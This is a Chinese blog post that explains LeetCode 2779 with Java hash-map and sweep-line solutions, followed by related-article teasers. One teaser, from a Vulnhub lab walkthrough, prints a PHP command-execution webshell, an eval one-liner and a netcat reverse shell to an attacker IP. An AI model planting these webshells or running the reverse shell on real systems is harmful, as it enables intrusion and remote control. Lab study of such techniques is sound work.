2779. 数组的最大美丽值
简单翻译一下题目意思:
- 对于每个
nums[i]都可以被替换成[nums[i]-k, nums[i]+k]区间中的任何数,区间左右是闭的。 - 在每个数字可以替换的前提下,返回数组中最多的重复数字的数量。
第一想法是用一个哈希表,Key 是可以被替换的数,Value 是这个数出现的次数,那最后遍历这个哈希表,找到 Value 最大的就可以。
class Solution {public int maximumBeauty(int[] nums, int k) {int n = nums.length;// 使用哈希表记录每个可能的值出现的次数Map<Integer, Integer> hashMap = new HashMap<>();for (int i = 0; i < n; i++) {// 计算当前元素左右 k 范围内的值int left = nums[i] - k;int right = nums[i] + k;// 在范围内的每个值都增加计数for (int j = left; j <= right; j++) {hashMap.merge(j, 1, Integer::sum);}}int res = 0;// 遍历哈希表,找到出现次数最多的值for (Map.Entry<Integer, Integer> entry : hashMap.entrySet()) {res = Math.max(res, entry.getValue());}return res;}
}
思路是没有问题的,问题是时间复杂度太高,超时。
这时候可以引入扫描线算法,样例 nums = [4,6,1,2], k = 2 对应的替换范围为:
- [2, 6]
- [-1, 3]
- [4, 8]
- [0, 4]
我们引入一根扫描线,从最小的区间起点开始扫描,计算这根线穿过的最多的区间数量,这个数即我们需要的最多重复数的数量,即「最大美丽值」。
class Solution {public int maximumBeauty(int[] nums, int k) {int n = nums.length;List<List<Integer>> intervals = new ArrayList<>();Arrays.sort(nums);// 为每个数字生成左右区间端点,并存入 intervals 列表for (int i = 0; i < n; i++) {int left = nums[i] - k;int right = nums[i] + k;// 左端点,+1 表示区间开始intervals.add(Arrays.asList(left, 1)); // 右端点,-1 表示区间结束intervals.add(Arrays.asList(right, -1)); }// 排序 intervals,按照左端点升序,左端点相同则按照右端点 +1 在前,-1 在后intervals.sort((a, b) -> {if (a.get(0).equals(b.get(0))) {return b.get(1) - a.get(1);}return a.get(0) - b.get(0);});// 记录最大重叠数int res = 0;// 扫描线变量,记录当前重叠区间数int scan = 0; for (List<Integer> interval : intervals) {// 更新当前重叠区间数scan += interval.get(1); // 更新最大重叠数res = Math.max(res, scan); }// 返回最大重叠数return res; }
}
几个细节:
List<Integer>自定义排序时,记得用equals不要用==。- 先按时间排,时间一样再按开始和结束区间排,开始区间在结束区间前处理。
- 扫描线遇到开始区间,就增加一个重复数,遇到一个结束区间,就减少一个重复数。
相关文章:
2779. 数组的最大美丽值
简单翻译一下题目意思: 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数,区间左右是闭的。在每个数字可以替换的前提下,返回数组中最多的重复数字的数量。 第一想法是用一个哈希表,Key 是可以被替换的数…...
数据库修复实例(航线修复)
修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...
视频网站下载利器yt-dlp参数详解
yt-dlp 是一个强大的命令行工具,用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数,可以定制下载行为,满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式,可以用视…...
可解析PHP的反弹shell方法
这里拿vulnhub-DC-8靶场反弹shell,详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar,POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...
AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集
AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...
Oracle备份失败处理,看这一篇就够了!
作者:IT邦德 中国DBA联盟(ACDU)成员,10余年DBA工作经验, Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主,全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复, 安装迁移,性能优化、故障…...
后端中缓存的作用以及基于Spring框架演示实现缓存
缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...
Python:基础爬虫
Python爬虫学习(网络爬虫(又称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...
机器人运动学笔记
一、建模 参考资料:https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样,主要的区别在于SDH中坐标系在连杆末端,MDH中坐标系在连杆首端。虽然这里只是给出z轴,但是由于后面原点位…...
webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)
考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...
stm32MP135裸机编程:启动流程分析
0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式: 注: UART和USB启动并不是指通过UART/USB加载程序,而是通过UA…...
在Pycharm使用Github Copilot
文章目录 1.GitHub Copilot 是什么2.注册GitHub Copilot3.官方使用文档4.安装 GitHub Copilot插件5.在Pycharm中使用6.相关功能键7.启用或禁用 GitHub Copilot 1.GitHub Copilot 是什么 GitHub Copilot 是一款 AI 编码助手,可帮助你更快、更省力地编写代码ÿ…...
Docker镜像构建:Ubuntu18.04+python3.10
1、编写 Dockerfile # 使用Ubuntu 18.04作为基础镜像 FROM ubuntu:18.04RUN apt-get update && apt-get install -y \build-essential \curl \zlib1g-dev \libssl-dev \&& rm -rf /var/lib/apt/lists/*ENV PYTHON_VERSION3.10.8RUN curl -O https://www.pytho…...
如何进行LLM大模型推理优化
解密LLM大模型推理优化本质 一、LLM推理的本质以及考量点 LLM推理聚焦Transformer架构的Decoder以生成文本。过程分两步:首先,模型初始化并加载输入文本;接着,进入解码阶段,模型自回归地生成文本,直至满足…...
QLoRA:高效的LLMs微调方法,48G内存可调65B 模型
文章:https://arxiv.org/pdf/2305.14314.pdf 代码:https://github.com/artidoro/qlora概括 QLORA是一种有效的微调方法,它减少了内存使用,足以在单个48GB GPU上微调65B参数模型,同时保留完整的16位微调任务性能。QLOR…...
力扣48. 旋转图像
给定一个 n n 的二维矩阵 matrix 表示一个图像。请你将图像顺时针旋转 90 度。你必须在原地旋转图像,这意味着你需要直接修改输入的二维矩阵。请不要使用另一个矩阵来旋转图像。 示例 1: 输入:matrix [[1,2,3],[4,5,6],[7,8,9]] 输出…...
【踩坑日记】I.MX6ULL裸机启动时由于编译的程序链接地址不对造成的程序没正确运行
1 现象 程序完全正确,但是由于程序链接的位置不对,导致程序没有正常运行。 2 寻找原因 对生成的bin文件进行反汇编: arm-linux-gnueabihf-objdump -D -m arm ledc.elf > ledc.dis查看生成的反汇编文件 发现在在链接的开始地址处&…...
【计算机网络仿真实验-实验2.6】带交换机的RIP路由协议
实验2.6 带交换机的rip路由协议 1. 实验拓扑图 2. 实验前查看是否能ping通 不能 3. 三层交换机配置 switch# configure terminal switch(config)# hostname s5750 !将交换机更名为S5750 S5750# configure terminal S5750(config)#vlan 10 S5750(config-vlan)#exit S57…...
Apache网页优化
一、网页压缩与缓存 注意文章中的http为源代码包安装,配置时指定了mod_deflate、mod_expires、mod_rewrite模块。所有的模块是否生效可以通过在浏览器中找到"开发工具"中的网络选项卡中的信息进行验证,里面有请求报文和响应报文的部分信息。 通…...
OpenCV形态学
什么事形态学处理 基于图像形态进行处理的一些基本方法; 这些处理方法基本是对二进制图像进行处理; 卷积核决定着图像出来后的效果。 一 图像二值化 什么是二值化 将图像的每个像素变成两种值,如0,255. 全局二值化。 局部二值化。 thres…...
调用支付宝接口响应40004 SYSTEM_ERROR问题排查
在对接支付宝API的时候,遇到了一些问题,记录一下排查过程。 Body:{"datadigital_fincloud_generalsaas_face_certify_initialize_response":{"msg":"Business Failed","code":"40004","sub_msg…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
逻辑回归:给不确定性划界的分类大师
想象你是一名医生。面对患者的检查报告(肿瘤大小、血液指标),你需要做出一个**决定性判断**:恶性还是良性?这种“非黑即白”的抉择,正是**逻辑回归(Logistic Regression)** 的战场&a…...
现代密码学 | 椭圆曲线密码学—附py代码
Elliptic Curve Cryptography 椭圆曲线密码学(ECC)是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础,例如椭圆曲线数字签…...
Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
Ascend NPU上适配Step-Audio模型
1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...
(转)什么是DockerCompose?它有什么作用?
一、什么是DockerCompose? DockerCompose可以基于Compose文件帮我们快速的部署分布式应用,而无需手动一个个创建和运行容器。 Compose文件是一个文本文件,通过指令定义集群中的每个容器如何运行。 DockerCompose就是把DockerFile转换成指令去运行。 …...
用docker来安装部署freeswitch记录
今天刚才测试一个callcenter的项目,所以尝试安装freeswitch 1、使用轩辕镜像 - 中国开发者首选的专业 Docker 镜像加速服务平台 编辑下面/etc/docker/daemon.json文件为 {"registry-mirrors": ["https://docker.xuanyuan.me"] }同时可以进入轩…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
c++第七天 继承与派生2
这一篇文章主要内容是 派生类构造函数与析构函数 在派生类中重写基类成员 以及多继承 第一部分:派生类构造函数与析构函数 当创建一个派生类对象时,基类成员是如何初始化的? 1.当派生类对象创建的时候,基类成员的初始化顺序 …...
